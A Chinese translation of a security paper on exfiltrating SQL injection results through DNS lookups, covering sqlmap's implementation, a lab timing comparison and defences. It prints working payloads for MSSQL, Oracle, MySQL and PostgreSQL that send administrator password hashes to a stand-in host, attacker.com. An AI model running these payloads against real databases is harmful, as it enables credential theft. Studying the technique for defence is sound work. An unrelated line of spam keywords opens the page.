自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

隱蔽的滲出:在SQL注入中使用DNS獲取數(shù)據(jù)

安全 數(shù)據(jù)安全
本文描述了一種利用DNS解析過程獲取惡意SQL查詢結(jié)果的先進(jìn)的SQL注入技術(shù)。帶有sql查詢結(jié)果的DNS請求最終被攻擊者控制的遠(yuǎn)程域名服務(wù)器攔截并提取出寶貴的數(shù)據(jù)。

0x00 前言

本文描述了一種利用DNS解析過程獲取惡意SQL查詢結(jié)果的先進(jìn)的SQL注入技術(shù)。帶有sql查詢結(jié)果的DNS請求最終被攻擊者控制的遠(yuǎn)程域名服務(wù)器攔截并提取出寶貴的數(shù)據(jù)。

開源SQL注入工具—SqlMap現(xiàn)在已經(jīng)可以自動完成這個任務(wù)。隨著SqlMap的升級完成,攻擊者可以使用此技術(shù)進(jìn)行快速而低調(diào)的數(shù)據(jù)檢索,尤其是在其他標(biāo)準(zhǔn)方法失敗的情況下。

0x01 介紹

滲出是一個軍事術(shù)語,指的是通過隱蔽手段從敵人的領(lǐng)土內(nèi)部盜取資產(chǎn)。如今它在計算機(jī)上有一個絕佳的用法,指的是非法從一個系統(tǒng)中提取數(shù)據(jù)。從域名服務(wù)器(DNS)中提取數(shù)據(jù)的方法被認(rèn)為是最隱蔽的滲出方法。這種方法甚至可以通過一系列的信任主機(jī)以外的內(nèi)部和外部域名服務(wù)器進(jìn)行域名查詢而用于沒有公共網(wǎng)絡(luò)連接的系統(tǒng)。

DNS是一個相對簡單的協(xié)議。DNS客戶端發(fā)送的查詢語句和相應(yīng)的DNS服務(wù)器返回的響應(yīng)語句都使用相同的基本的DNS消息格式。除了區(qū)傳送為提高其可靠性使用TCP以外,DNS報文都使用UDP封裝。如果有人使用了Wireshark之類的工具監(jiān)視機(jī)器,一個使用了DNS的隱蔽信道看起來像一系列轉(zhuǎn)瞬即逝的小光點。

從安全系統(tǒng)中轉(zhuǎn)播DNS查詢到任意基于互聯(lián)網(wǎng)的域名服務(wù)器是實現(xiàn)這一不受控制數(shù)據(jù)信道的基礎(chǔ)。即使我們假設(shè)目標(biāo)主機(jī)不被允許連接到公共網(wǎng)絡(luò),如果目標(biāo)主機(jī)能夠解析任意域名,數(shù)據(jù)還是可能可以經(jīng)由轉(zhuǎn)發(fā)DNS查詢而滲出。

當(dāng)其他更快的SQL注入(SQLI)數(shù)據(jù)檢索技術(shù)失敗時,攻擊者通常會使用逐位檢索數(shù)據(jù)的方法,這是一個非常繁雜而費時的流程。因此,攻擊者通常需要發(fā)送成千上萬的請求來獲取一個普通大小的表的內(nèi)容。我們將要提到的是一種攻擊者通過利用有漏洞數(shù)據(jù)庫管理系統(tǒng)(DBMS)發(fā)起特制的DNS請求,并在另一端進(jìn)行攔截來檢索惡意SQL語句結(jié)果(例如管理員密碼),每個循環(huán)可傳輸幾十個結(jié)果字符的技術(shù)。

0x02 技術(shù)分類

根據(jù)用于數(shù)據(jù)檢索的傳輸信道,SQLi可分為三個獨立的類別:inband, inference(推理) 和out-of-band。

Inband技術(shù)使用攻擊者和有漏洞的Web應(yīng)用程序之間現(xiàn)有的渠道來提取數(shù)據(jù)。通常該通道是標(biāo)準(zhǔn)的Web服務(wù)器響應(yīng)。它的成員union技術(shù)使用現(xiàn)有的web頁面輸出惡意SQL查詢的執(zhí)行結(jié)果,而error-based技術(shù)則引發(fā)特定的惡意SQL查詢的執(zhí)行結(jié)果的DBMS的錯誤消息。

相反的,在Inference技術(shù)中,攻擊者通過應(yīng)用程序表現(xiàn)的差異來推斷數(shù)據(jù)的值。Inference技術(shù)能夠逐位提取惡意SQL查詢結(jié)果,卻沒有真正傳輸數(shù)據(jù)。

Inference的核心是在服務(wù)器執(zhí)行一系列的布爾查詢,觀察和最后推導(dǎo)接收結(jié)果的含義。根據(jù)觀察到的特性,它的成員被稱為布爾型盲注(bool)和基于時間(time-based)的盲注技術(shù)。在布爾型盲注技術(shù)中,可見的網(wǎng)絡(luò)服務(wù)器響應(yīng)內(nèi)容的變化被用于區(qū)分給定的邏輯問題的答案,

而在基于時間的盲注技術(shù)中則通過觀察Web服務(wù)器響應(yīng)時間的變化來推斷答案。

Out-of-band (OOB)技術(shù),與inband相反,使用其它傳輸信道獲取數(shù)據(jù),例如超文本傳輸協(xié)議和DNS解析協(xié)議。當(dāng)詳細(xì)的錯誤信息被禁用、結(jié)果被限制或過濾、出站過濾規(guī)則不嚴(yán)和/或當(dāng)減少查詢的數(shù)目變得極度重要時inference技術(shù)看起來像是唯一的選擇,這時使用OOB技術(shù)滲透便變得十分有趣。例如,基于HTTP的OOB技術(shù)的SQL查詢結(jié)果變成了發(fā)送給HTTP服務(wù)器請求的一部分(例如GET參數(shù)值)被能訪問日志文件的攻擊者控制時。此類的技術(shù)不像其它的主流技術(shù)被廣泛應(yīng)用,主要是其所需的設(shè)置非常復(fù)雜,但使用它們可以克服許多障礙(如避免不必要的數(shù)據(jù)庫寫入和極大地提升利用INSERT/UPDATE語句漏洞的基于時間的SQLI)。#p#

0x03 DNS解析

當(dāng)一個客戶端需要查找程序中使用的網(wǎng)絡(luò)名時,它會查詢DNS服務(wù)器。DNS查詢有許多不同的解析方式:

如果信息已經(jīng)被預(yù)先用相同的查詢獲得,客戶端可以使用本地緩存信息應(yīng)答查詢。

DNS服務(wù)器可以使用其自己的高速緩存和/或區(qū)記錄的信息來應(yīng)答查詢 - 這個過程被稱為迭代。

DNS服務(wù)器也可以轉(zhuǎn)發(fā)查詢給代表所請求的客戶端的其他DNS服務(wù)器以全面解析名稱,然后將回應(yīng)發(fā)送回客戶端 - 這個過程被稱為遞歸。

隱蔽的滲出:在SQL注入中使用DNS獲取數(shù)據(jù)

例如,使用遞歸過程解析名稱test.example.com。這種情況發(fā)生于DNS服務(wù)器和客戶端都是第一次啟動且沒有能用來解析域名查詢的本地緩存信息。此外,假設(shè)客戶端發(fā)起的域名查詢是一個本地沒有其配置區(qū)域信息的域名。

首先,默認(rèn)的DNS服務(wù)器解析域名的全名并且確定該域名是一個需要知道地址的權(quán)威的頂級域名(TLD)服務(wù)器--在這個案例的域名中。然后,它使用迭代(非遞歸)查詢該服務(wù)器來獲得推薦的example.com域。

當(dāng)它的地址被完成檢索后,被引用的服務(wù)器會被聯(lián)接--這實際上是一個注冊example.com域的域名服務(wù)器。因為它所配置的區(qū)域包含了查詢的域名,它會將所得到的IP地址作為一個權(quán)威響應(yīng)返回給發(fā)起該過程的原始服務(wù)器。

當(dāng)原始的DNS服務(wù)器接收到所請求的查詢所獲得的權(quán)威響應(yīng),它轉(zhuǎn)發(fā)該響應(yīng)回客戶端,遞歸查詢過程結(jié)束。 這類的解決方案通常由DNS服務(wù)器嘗試解析DNS客戶端發(fā)起的遞歸域名查詢時發(fā)起的,并且有時被稱為“遍歷樹”(walking the tree)。

0x04 引發(fā)DNS請求

成功利用DNS從有漏洞的數(shù)據(jù)庫中滲出數(shù)據(jù)的前提條件是DBMS中有可用的能直接或間接引發(fā)DNS解析過程的子程序。 然后這類的子程序被攻擊者利用,作為攻擊的媒介。

任何可以接受網(wǎng)絡(luò)地址的函數(shù)是最有可能被利用來進(jìn)行這種攻擊的。


4.1 Microsoft SQL Server

擴(kuò)展存儲程序是一個直接運行在微軟的地址空間庫SQL服務(wù)器(MSSQL)的動態(tài)鏈接。有幾個未被公開說明的擴(kuò)展存儲程序?qū)τ趯崿F(xiàn)本文的目的特別有用的。

攻擊者可以使用Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何以下擴(kuò)展存儲程序引發(fā)DNS地址解析。Windows系統(tǒng)的UNC語法具有通用的形式:


\\ComputerName\SharedFolder\Resource

攻擊者能夠通過使用自定義制作的地址作為計算機(jī)名字段的值引發(fā)DNS請求。

4.1.1 master..xp_dirtree

擴(kuò)展存儲程序master..xp_dirtree()用于獲取所有文件夾的列表和給定文件夾內(nèi)部的子文件夾:

master..xp_dirtree '<dirpath>'

例如,要獲得C:\Windows run:里的所有文件夾和子文件夾:

EXEC master..xp_dirtree 'C:\Windows';

4.1.2 master..xp_fileexist

擴(kuò)展存儲程序master..xp_fileexist()用于確定一個特定的文件是否存在于硬盤:
xp_fileexist '' 例如,要檢查boot.ini文件是否存在于磁盤C 運行:

EXEC master..xp_fileexist 'C:\boot.ini';

4.1.3 master..xp_subdirs

擴(kuò)展存儲程序master..xp_subdirs()用于得到給定的文件夾內(nèi)的文件夾列表:


master..xp_subdirs '<dirpath>'

例如,要獲得C:\Windows中的所有次級文件夾:


'EXEC master..xp_subdirs 'C:\Windows';

4.1.4例子

接下來的是的通過MsSQL的擴(kuò)展存儲程序master..xp_dirtree()將管理員(sa)的密碼哈希通過DNS傳輸?shù)睦印?#8232; 

  1. DECLARE @host varchar(1024);
      
  2.    
  3. SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.attacker.com';  
  4. 
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"'); 

 這種預(yù)先計算的形式被使用,因為擴(kuò)展存儲程序不接受帶有參數(shù)的子查詢。因而使用臨時變量存儲SQL查詢的結(jié)果。#p#

4.2 Oracle


Oracle提供的PL/ SQL包被捆綁在它的Oracle數(shù)據(jù)庫服務(wù)器來擴(kuò)展數(shù)據(jù)庫功能。為了實現(xiàn)本文的目的,其中幾個用于網(wǎng)絡(luò)接入的包讓人特別感興趣。


4.2.1 UTL_INADDR.GET_HOST_ADDRESS

UTL_INADDR包用于互聯(lián)網(wǎng)的尋址--諸如檢索本地和遠(yuǎn)程主機(jī)的主機(jī)名和IP的地址。

它的成員函數(shù)GET_HOST_ADDRESS()用于檢索特定主機(jī)的IP:

UTL_INADDR.GET_HOST_ADDRESS('<host>')

例如,為了獲得test.example.com的IP地址,運行:


SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');

4.2.2 UTL_HTTP.REQUEST

UTL_HTTP包用于從SQL和PL/SQL中標(biāo)注出HTTP。 它的程序REQUEST()回從給定的地址檢索到的第1-2000字節(jié)的數(shù)據(jù):
UTL_HTTP.REQUEST('')

例如,為了獲得http://test.example.com/index.php頁面的前兩千字節(jié)的數(shù)據(jù),運行:


SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;


4.2.3 HTTPURITYPE.GETCLOB

HTTPURITYPE類的實例方法GETCLOB()返回從給定地址中檢索到的CLOB(Character Large Object)
HTTPURITYPE('').GETCLOB()

例如,從頁面http://test.example.com/index.php開始內(nèi)容檢索 運行:

SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;

4.2.4 DBMS_LDAP.INIT

DBMS_LDAP包使得PL/SQL程序員能夠訪問輕量級目錄訪問協(xié)議(LDAP)服務(wù)器。它的程序INIT()用于初始化與LDAP服務(wù)器的會話:
DBMS_LDAP.INIT(('', )

例如:初始化與主機(jī)test.example.com的連接 運行:


SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;

攻擊者可以使用任何以上提到的Oracle子程序發(fā)起DNS請求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能導(dǎo)致網(wǎng)絡(luò)訪問子程序都受到限制。


4.2.5例子

以下例子是系統(tǒng)管理員(SYS)的密碼哈希被Oracle程序DBMS_LDAP.INIT()通過DNS解析機(jī)制傳輸:


SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.attacker.com',80) FROM DUAL;


#p#

4.3 MySQL


4.3.1 LOAD_FILE

MySQL的函數(shù)LOAD_FILE()讀取文件內(nèi)容并將其作為字符串返回:
LOAD_FILE('')

例如,要獲取C:\Windows\system.ini文件的內(nèi)容 運行:


SELECT LOAD_FILE('C:\\Windows\\system.ini') ;


4.3.2例子

以下是使用MySQL的函數(shù)LOAD_FILE()將系統(tǒng)管理員的密碼通過DNS解析機(jī)制傳輸?shù)睦樱?#8232;

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'
 LIMIT 1),'.attacker.com\\foobar'));

4.4 PostgreSQL


4.4.1 COPY

PostgreSQL的聲明COPY用于在文件系統(tǒng)的文件和表之間拷貝數(shù)據(jù):

COPY <table>(<column>,...) FROM '<path>'

例如,為了將C:\Windows\Temp\users.txt的文件內(nèi)容拷貝到含有唯一列names的users表中 運行:


COPY users(names) FROM 'C:\\Windows\\Temp\\users.txt'


4.4.2例子 以下是使用PostgreSQL的聲明COPY將系統(tǒng)管理員的密碼通過DNS解析機(jī)制傳輸?shù)睦樱?/p>

  1. DROP TABLE IF EXISTS table_output;
      
  2.    
  3. CREATE TABLE table_output(content text);  
  4.    
  5. 
CREATE OR REPLACE FUNCTION temp_function()
      
  6.    
  7. RETURNS VOID AS $$  
  8.    
  9. 
DECLARE exec_cmd TEXT;
      
  10.    
  11. DECLARE query_result TEXT;
      
  12.    
  13. BEGIN
    SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');
      
  14.    
  15. exec_cmd := E'COPY table_output(content)FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\foobar.txt\'';  
  16.    
  17. 
EXECUTE exec_cmd;
    END;
      
  18.    
  19. $$ LANGUAGE plpgsql SECURITY DEFINER;  
  20.    
  21. 
SELECT temp_function(); 

這種預(yù)先計算的形式被使用,因為SQL的聲明COPY不接受子查詢。

同時,PostgreSQL的變量都必須被明確地聲明并在子程序(函數(shù)或者程序)范圍內(nèi)使用。因此使用用戶自定義的存儲功能。#p#

0x05 實施

如前所述,我選擇的工具SQL注入工具是SqlMap,主要是因為本文的作者也是它的開發(fā)者之一,并升級它使其支持DNS滲出。新的命令行選項--dns-domain已經(jīng)被添加用于運行新的程序流程。有了它,用戶可以打開DNS滲出的支持,并且通知SqlMap所有被引發(fā)DNS解析請求應(yīng)指向給定域(例如--dns-domain=attacker.com)。

域名服務(wù)器條目(如ns1.attacker.com)必須包含一臺正在運行SqlMap的機(jī)器的IP地址。

在那里,SqlMap作為虛假的名稱服務(wù)器運行,提供有效(但假)的響應(yīng)從而引發(fā)傳入的DNS解析請求。虛假的返回響應(yīng)服務(wù)被運行只是為了立刻解鎖等待中的Web服務(wù)器,而不帶有結(jié)果,因為程序不是在處理網(wǎng)頁內(nèi)容本身。

對于每一個被下載項目,SqlMap都會發(fā)送里面帶有特制的SQLI DNS滲出向量的正常HTTP請求,而在后臺運行和記錄所有傳入的DNS請求。由于每個惡意的SQL查詢結(jié)果被獨特的隨機(jī)選擇的前綴和后綴字符串封閉,不難分辨該DNS解析請求來自哪個SQLIDNS滲出向量。另外,由于那些隨機(jī)的封閉字符,幾乎所有的DNS緩存機(jī)制都失效了,幾乎是在強(qiáng)迫服務(wù)器進(jìn)行遞歸DNS解析。目前已經(jīng)全面實現(xiàn)了對DBMSes MsSQL, Oracle, MySQL 和
PostgreSQL 的支持。但是,如前面提到的,只有Oracle能夠同時支持Windows和Linux后端平臺的攻擊,因為其他數(shù)據(jù)庫需要支持處理Windows UNC文件路徑格式。

在SqlMap運行時,union和error-based技術(shù)具有最高優(yōu)先級,主要因為他們的速度快而且不需要特殊的要求。

因此,只有當(dāng)緩慢inference技術(shù)方法是可用的且選項--dns-domain被用戶明確設(shè)置時,SqlMap才會打開對DNS滲出的支持。 每個DNS解析請求結(jié)果都被按照RFC1034規(guī)定的DNS域名標(biāo)準(zhǔn)編碼為十六進(jìn)制格式。

這種方式使得最終一切非單詞字符都能被保留。此外,表示較長的SQL查詢結(jié)果的十六進(jìn)制被分割。這是必須做的,因為整個域名內(nèi)的節(jié)點標(biāo)簽(如.example.)被限制在63個字符長度大小。

隱蔽的滲出:在SQL注入中使用DNS獲取數(shù)據(jù) #p#

0x06 實驗設(shè)置和結(jié)果

為了進(jìn)行實驗需要配置和使用三臺機(jī)器:


1)攻擊機(jī)(172.16.138.1)-物理機(jī)

Ubuntu 12.04 LTS 64-bit OS running latest


sqlmap v1.0-dev (r5100)12


2) Web (172.16.138.129) –服務(wù)器-虛擬機(jī)

with Windows XP 32-bit SP1 OS running a
XAMPP 1.7.3 instance containing deliberately SQLi vulnerable MySQL/PHP web application


3) DNS服務(wù)器(172.16.138.130) –虛擬機(jī)

with CentOS 6.2 64-bit OS running a BIND

使用VMware Workstation 8.0.2制造虛擬環(huán)境。所有的測試都在本地虛擬網(wǎng)絡(luò)(172.16.138.0/24)中進(jìn)行。攻擊機(jī)被用于攻擊有漏洞的web服務(wù)器DNS服務(wù)器被用于注冊域名服務(wù)器并處理web服務(wù)器對域名attacker.com的 DNS解析并將它們返回到攻擊機(jī)。

所有的SqlMap支持的技術(shù)都進(jìn)行了測試,包括最新實現(xiàn)支持的DNS滲出。HTTP請求的數(shù)量和所花費的時間都被系統(tǒng)的information_schema表記錄、測量。COLLATIONS表用于被拖(大概4KB)。

表1.SQLI技術(shù)的速度對比

SQLI技術(shù)的速度對比

0x07 討論

從表1中給出的結(jié)果可以看出,inband技術(shù)(union和error-based)是最快的方法,而inference技術(shù)(布爾型盲注和基于時間的盲注)是最慢的。

DNS滲出,如預(yù)期那樣,比最慢的inband(error-based)慢,但比最快的推斷方法(布爾型盲注)快。

基于時間的盲注很明顯太慢了。 現(xiàn)實中,因為連接的延遲和需要時間加載正常尺寸的頁面,所有的技術(shù)注定會因每個請求的而有額外的延遲。

在使用SQLI攻擊有漏洞頁面時一個小的表會被返回,這使得連接讀取得非???。

此外,在現(xiàn)實生活中的場景中,不必要的連接延遲將引起time-based技術(shù)需要更高的延遲時間,使得dump進(jìn)程更慢。

在真實的生活場景中還有一個事實是,DNS滲出的技術(shù)在使用非本地的DNS服務(wù)器將有額外的延遲。

然而,它和inference技術(shù)之間差別仍然很大,因為后者需要更多的時間去恢復(fù)相同的數(shù)據(jù)將需要更多的時間來檢索,而為了得到相同的數(shù)據(jù)后者必然有更多的請求。

總而言之,DNS滲出技術(shù)的數(shù)值看起來更好一點,使其成為inference方法的一個完美的替代品。

隱蔽的滲出:在SQL注入中使用DNS獲取數(shù)據(jù)

圖3: 捕獲到的SqlMap使用DNS滲出時的流量#p#

0x08 防范技巧


為了預(yù)防所本文描述的攻擊,首先要避免SQLI具有最高的優(yōu)先權(quán)。

使用預(yù)處理語句被認(rèn)為是最安全的預(yù)防措施。

預(yù)處理語句能在SQL命令被插入的時候確保查詢的意圖不被攻擊者改變。


但像magic_quote()和addslashes()那樣的各種禁制機(jī)制并不能完全防止SQLI漏洞的存在或利用,因為在某些技術(shù)配合使用的環(huán)境條件下,攻擊者仍能利用該漏洞。

相反,如果不使用預(yù)處理語句,推薦使用輸入校檢拒絕惡意的輸入,而不是轉(zhuǎn)義或修飾。

管理員應(yīng)該準(zhǔn)備好應(yīng)對未經(jīng)授權(quán)的底層數(shù)據(jù)庫訪問。

好多反擊措施是將所有數(shù)據(jù)庫的訪問限制在最低權(quán)限。

因此,任何給定的權(quán)限應(yīng)該被授予最少的代碼在最短的持續(xù)時間內(nèi)完成工作。

根據(jù)這一原則,用戶必須只能獲得必要的信息和資源。

最后一步,為了成功最后緩解DNS滲出攻擊,管理員必須確保所有不必要的系統(tǒng)子程序的執(zhí)行是被限制的。

如果一切都失敗了,攻擊者必須不能夠運行那些可以發(fā)起DNS請求的程序。

現(xiàn)在有一些檢測域內(nèi)DNS流量中惡意活動的工作,但大多缺乏實際和主流的解決方案,所以在這里并不提及。
9總結(jié) 本文證明攻擊者如何使用DNS滲出技術(shù)大大加快相對緩慢的inference SQLI技術(shù)的數(shù)據(jù)檢索。

此外,該技術(shù)只對有漏洞的Web服務(wù)器進(jìn)行必需的請求,從而大幅降低服務(wù)器的繁忙程度。

由于需要控制域名服務(wù)器,它可能不會被多數(shù)攻擊者所使用。

但它再實施上很簡單的,因此它的實際價值是不可忽略的。

SqlMap已經(jīng)對它實現(xiàn)支持,因此所有人都可以對它進(jìn)行進(jìn)一步研究。

0x09 參考文獻(xiàn)

1 sqlmap – automatic SQL injection and database takeover tool, Bernardo Damele A. G., Miroslav Štampar, http://www.sqlmap.org/


2 Exfiltration: How Hackers Get the Data Out, Jart Armin, May 2011, http://news.hostexploit.com/cybercrimenews/4877-exfiltration-how-hackers-get-thedata-out.html


3 Wireshark - network protocol analyzer, Wireshark Foundation,https://www.wireshark.org/


4 The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, Bill Blunden, WordWare Publishing, Inc., 2009

5 DNS as a Covert Channel Within Protected Networks,Seth Bromberger , National Electric Sector Cyber Security Organization (NESCO), January 2001,http://energy.gov/sites/prod/files/oeprod/DocumentsandMedia/DNS_Exfiltration_2011-01-01_v1.1.pdf


6 Data-mining with SQL Injection and Inference, DavidLitchfield, An NGSSoftware Insight Security Research Publication, September 2005,http://www.nccgroup.com/Libraries/Document_Downloads/Data Mining_With_SQL_Injection_and_Inference.sflb.ashx


7 Advanced SQL Injection, Joseph McCray, February 2009,http://www.slideshare.net/joemccray/AdvancedSQLInjectionv2

8 SQL Injection and Data Mining through Inference,David Litchfield, BlackHat EU, 2005,
https://www.blackhat.com/presentations/bheurope-05/bh-eu-05-litchfield.pdf


9 SQL – Injection & OOB – channels, Patrik Karlsson,DEF CON 15, August 2007,https://www.defcon.org/images/defcon15/dc15-presentations/dc-15-karlsson.pdf


10 The TCP/IP Guide: A Comprehensive, Illustrated Internet Protocols Reference, Charles M. Kozierok, NoStarch Press, 2005

11 How DNS query works, Microsoft TechNet, January 2005,http://technet.microsoft.com/en
us/library/cc775637(v=ws.10).aspx


12 Microsoft Windows 2000 DNS: Implementation and Administration, Kevin Kocis, Sams Publishing, 2001


13 Useful undocumented extended stored procedures,Alexander Chigrik, 2010,http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm


14 Oracle9i XML API Reference - XDK and OracleXML DB (Release 2), Oracle Corporation, March 2002,http://docs.oracle.com/cd/B10501_01/appdev.920/a96616.pdf


15 Hacking Oracle From Web Apps, Sumit Siddharth,Aleksander Gorkowienko, 7Safe, DEF CON 18,November 2010,https://www.defcon.org/images/defcon-18/dc18-presentations/Siddharth/DEFCON-18-Siddharth-Hacking-Oracle-From-Web.pdf


16 Exploiting PL/SQL Injection With Only CREATE SESSION Privileges in Oracle 11g, David Litchfield, AnNGSSoftware Insight Security Research Publication,October 2009,
http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf

17 RFC 1034: Domain Names – Concepts andFacilities, Paul Mockapetris, November 1987,https://www.ietf.org/rfc/rfc1034.txt


18 SQL Injection Prevention Cheat Sheet, Open Web Application Security Project, March 2012,https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet


19 Parametrized SQL statement, Rosetta Code, August 2011,http://rosettacode.org/wiki/Parametrized_SQL_statement

20 SQL Injection Attacks and Defense, Justin Clarke,Syngress, 2009


21 addslashes() Versus mysql_real_escape_string(),Chris Shiflett, January 2006,http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string


22 Advanced SQL Injection, Victor Chapela, Sm4rtSecurity Services, OWASP, November 2005,https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt


23 Security Overview (ADO.NET), MSDN, Microsoft,2012.,http://msdn.microsoft.com/enus/library/hdb58b2f.aspx


24 The Web Application Hacker's Handbook: Findingand Exploiting Security Flaws, Dafydd Stuttard, MarcusPinto, John Wiley & Sons, 2011


25 Detecting DNS Tunnels Using Character Frequency Analysis, Kenton Born, Dr. David Gustafson, Kansas State University, April 2010,http://arxiv.org/pdf/1004.4358.pdf

26 Finding Malicious Activity in Bulk DNS Data, EdStoner, Carnegie Mellon University, 2010,
www.cert.org/archive/pdf/research-rpt2009/stoner-mal-act.pdf

原文地址: http://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf

責(zé)任編輯:藍(lán)雨淚 來源: 烏云知識庫
相關(guān)推薦

2010-07-30 10:53:53

Flex數(shù)據(jù)綁定

2018-02-10 09:44:19

2011-07-21 14:50:06

Core Data SQL

2014-02-28 15:31:13

2011-12-25 15:37:51

ibmdw

2018-05-11 15:36:43

數(shù)據(jù)科學(xué)算法數(shù)據(jù)分析

2024-10-16 09:43:45

GreatSQLHint數(shù)據(jù)庫

2009-07-04 00:50:38

2009-07-01 02:29:24

臨時表T-SQL

2020-10-25 11:33:57

PythonKNN算法

2009-06-25 16:49:24

Hibernate

2023-11-17 12:04:39

GORM并發(fā)

2013-12-13 17:21:14

Lua腳本語言

2023-04-12 15:25:09

Bytrace鴻蒙

2011-05-27 08:48:13

Android HTML

2015-08-26 11:12:11

數(shù)據(jù)溢出SQL注入SQL報錯注入

2010-04-12 08:59:00

2010-11-12 13:27:13

動態(tài)sql

2009-04-10 22:06:09

Vmwareesx虛擬化

2022-04-20 11:22:23

大數(shù)據(jù)安全建筑數(shù)據(jù)
點贊
收藏

51CTO技術(shù)棧公眾號